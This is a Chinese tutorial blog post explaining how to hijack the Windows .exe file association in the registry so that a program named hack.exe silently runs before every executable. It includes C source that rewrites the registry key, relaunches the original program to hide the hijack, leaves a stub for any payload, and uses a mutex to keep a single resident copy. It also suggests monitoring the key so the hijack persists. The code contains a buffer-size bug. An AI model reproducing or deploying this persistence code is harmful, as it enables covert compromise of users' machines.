网站首页 > 教程分享 正文
首先我们来看Windows操作系统的文件关连是怎么回事。
例如.txt文本文件,右击,选择打开方式,选择默认程序:
根据这台电脑安装的应用程序,推荐打开的方式有3种,其中%SystemRoot%\system32\NOTEPAD.EXE是默认方式。
在注册表中有设置:
例如双击c:\virus.txt文件,便会打开此文件,而对于操作系统来说,是先打开notepad.exe,再由notepad.exe打开c:\virus.txt。
以下是用命令行方式打开此文件:
等同于:
如果用命令行的方式,用chrome打开virus.txt:
联系到上面注册表的设置:
「%1」即表示需要打开的文件,而前面的字符,即表示能够打开此文件的应用程序。
说了这么多,是为了说明.exe文件的打开方式,我们可不可以用一个.exe文件去打开另外一个.exe文件呢?
看下面exe文件的打开设置:
「%1」即表示.exe自身,因为本身就是.exe文件了,所以无需如同.txt文件一样,再要用另一个.exe文件去打开它。后面的「%*」是表示exe以命令行形式运行时所带的参数。
上面说到,可不可以用一个.exe文件去打开另外一个.exe文件,答案是可以的,如以下设置:
打开任何一个「.exe」文件,便可以先运行「.c:\hack.exe」文件,再运行点击的文件。
例如,在命令行下执行:c:\hack.exe c:\test.exe。便可以先打开hack.exe,然后打开test.exe。
有了这些前置知识,似乎就可以利用文件关联来打开一个我们需要的程序了。
首先当然就是要修改HKEY_CLASSES_ROOT\exefile\\shell\\open\\command中的值,就是可执行程序*.exe文件的关联处,缺省为”%1” %*。当我们把值修改为c:\hack.exe ”%1” %*后,以后打开exe文件就会激活C盘下的hack.exe。另外,我们要在hack.exe运行时取得传入的命令行参数「”%1”」,再启动原来的exe程序,这样对于一般的人来看好像什么事也没发生过。具体的演示代码如下:
#include <stdio.h>
#include <windows.h>
void myFunc(); // 自己想要实现的功能
void hack(int argc, char *argv[]); // 随exe文件一起运行
int main(int argc,char *argv[])
{
hack(argc, argv);
return 0;
}
void hack(int argc, char *argv[]) // 本程序hack.exe要伴随另一exe文件(例如B.exe)一起运行
{
char fPath[256]; // B的文件路径
memset(fPath,0,256);
if(argc!=1){ // argc!=1表示有参数
int length =strlen(argv[1]); // argv[0]表示程序自身,argv[1]表示第一个参数
// 当我们试图用此程序(hack.exe)去打开另一程序B时,
// 另一程序B的文件路径就是argv[1]
char *ch=(char *)malloc(length);
strcpy(ch,argv[1]);
for(int i=0;i<length;i++,ch++)// 把路径字符串中所有的"\"变为"\\"
{
if(*ch=='\\')
strncat(fPath,"\\\\",2);
else strncat(fPath,ch,1);
}
}
// 在执行B程序之前先恢复注册表,否则用ShellExecute还是执行hack.exe。
char para[]="\"%1\" %*"; // 「"%1" %* 」 %1表示exe文件本身,加双引号可以避免路径中有空格而出错,
%*表示运行参数
char* subkey = "exefile\\shell\\open\\command";
RegSetValue(HKEY_CLASSES_ROOT,subkey,REG_SZ,(LPCTSTR)para,strlen(para)+1);
ShellExecute(NULL,"open",fPath,NULL,NULL,SW_SHOW); //执行B程序
// 在程序执行完成后,再把注册表改为我们要启动的hack.exe
TCHAR filename[256];
GetModuleFileName( NULL, filename, 255 ); // 得到程序全路径名
strcat(filename," \"%1\" %*"); // 附加参数
RegSetValue(HKEY_CLASSES_ROOT,subkey,REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
// 以上构成一个修改注册表和运行程序的循环
myFunc();
}
void myFunc()
{
//MessageBox(NULL,"Hello",NULL,MB_OK); // 测试用,可以替换为自己想要实现的功能
//while(1) ; // 常驻内存
}
上述代码运行一次后,只要exe程序一运行就会先执行hack.exe了。
但是,因为每启动一个exe程序,都会启动一次hack.exe,这是我们不想看到的。
如何能够防止一个程序多次启动呢?也就是确保只能够有一个进程在系统当中。
要防止多个进程同时出现,我们要使用CreateMutex()函数来创建互斥对象。互斥对象能够确保多个线程或进程对单个资源的互斥访问,也就是某个资源不会同时被两个或以上的线程或进程所访问。我们通过下面的代码来创建一个互斥对象:
void myMutex()
{
HANDLE hMutex;
DWORD dwErr;
hMutex=CreateMutex(NULL, // 无安全描述
FALSE, // 没有所有者
"hack"); // 对象名
if(hMutex==NULL) // hMutex为NULL标示创建失败
{
//MessageBox(NULL,"CreateMutex error!",NULL,MB_OK);
}
else
{
dwErr=GetLastError();
if(dwErr==ERROR_ALREADY_EXISTS) //互斥对象已经存在
{
//MessageBox(NULL,"Application has already running",NULL,MB_OK);
ExitProcess(0);
}
}
}
上面的代码就可以确保只有一个进程在系统中。
但如果程序是常驻内存的话,需要把上面的创建互斥对象的代码也加进去,否则每打开一个exe程序就会多一个hack.exe。
……
ShellExecute(NULL,"open",fPath,NULL,NULL,SW_SHOW); //执行B程序
myMutex();
……
另外,当文件关联处被改成c:\hack.exe ”%1” %*后,如果把hack.exe删掉的话,那么所有的exe程序都不能够运行了!解决的办法是把c:\Windows\regedit.exe改名成regedit.com(因为.exe文件类型运行不了,所以改成com才能正常运行),然后运行它,依次找到HKEY_CLASSES_ROOT\exefile\shell\open\command,双击“默认”字符串,将其数值改为「"%1" %*」就可以了。当然,hack.exe还可以时刻监视注册表的这个键值是否是c:\hack.exe,如果不是就修改它,这样就可以确保hack.exe能够正常启动。
自启动的方式主要有注册表启动、Active X启动、系统服务启动、SVCHOST.EXE加载启动等。
-End-
猜你喜欢
- 2024-10-24 OpenCV-Python滚动条函数cv2.createTrackerbar()的使用
- 2024-10-24 【创新办公】J5create虫洞交换器实现双设备无缝连接。
- 2024-10-24 十铨发布T-CREATE雷电3外接式固态硬盘,以及T-FORCE CARDEA Z44L SSD
- 2024-10-24 j5create USB 3.0跨平台传输线,让两台设备传输文件更方便
- 2024-10-24 C#常见错误_调用第三方动态库dll(c#调用c动态库)
- 2024-10-24 百万Java 面试题整理(1.0)(100个java面试题及答案)
- 2024-10-24 windows11 上无法在vs2019上执行powershell脚本的解决方案
- 2024-10-24 opencv实时识别指定物体(opencv实现图像识别)
- 2024-10-24 使用内存映射文件实现进程通信(内存映射什么意思)
- 2024-10-24 全程软件测试(六十六):软件测试之MySQL基础—读书笔记
你 发表评论:
欢迎- 最近发表
-
- 有了这份900多页的Android面试指南,你离大厂Offer还远吗?
- K2 Blackpearl 流程平台总体功能介绍:常规流程功能
- 零基础安卓开发起步(一)(安卓开发入门视频)
- 教程:让你的安卓像Windows一样实现程序窗口化运行
- Android事件总线还能怎么玩?(事件总线有什么好处)
- Android 面试被问“谈谈架构”,到底要怎样回答才好?
- Android开发工具Parcel和Serialize
- Android 中Notification的运用(notification widget安卓)
- Android退出所有Activity最优雅的方式
- MT管理器-简单实战-去除启动页(mt管理器怎么去除软件弹窗)
- 标签列表
-
- css导航条 (66)
- sqlinsert (63)
- js提交表单 (60)
- param (62)
- parentelement (65)
- jquery分享 (62)
- check约束 (64)
- curl_init (68)
- sql if语句 (69)
- import (66)
- chmod文件夹 (71)
- clearinterval (71)
- pythonrange (62)
- 数组长度 (61)
- javafx (59)
- 全局消息钩子 (64)
- sort排序 (62)
- jdbc (69)
- php网页源码 (59)
- assert h (69)
- httpclientjar (60)
- postgresql conf (59)
- winform开发 (59)
- mysql数字类型 (71)
- drawimage (61)
本文暂时没有评论,来添加一个吧(●'◡'●)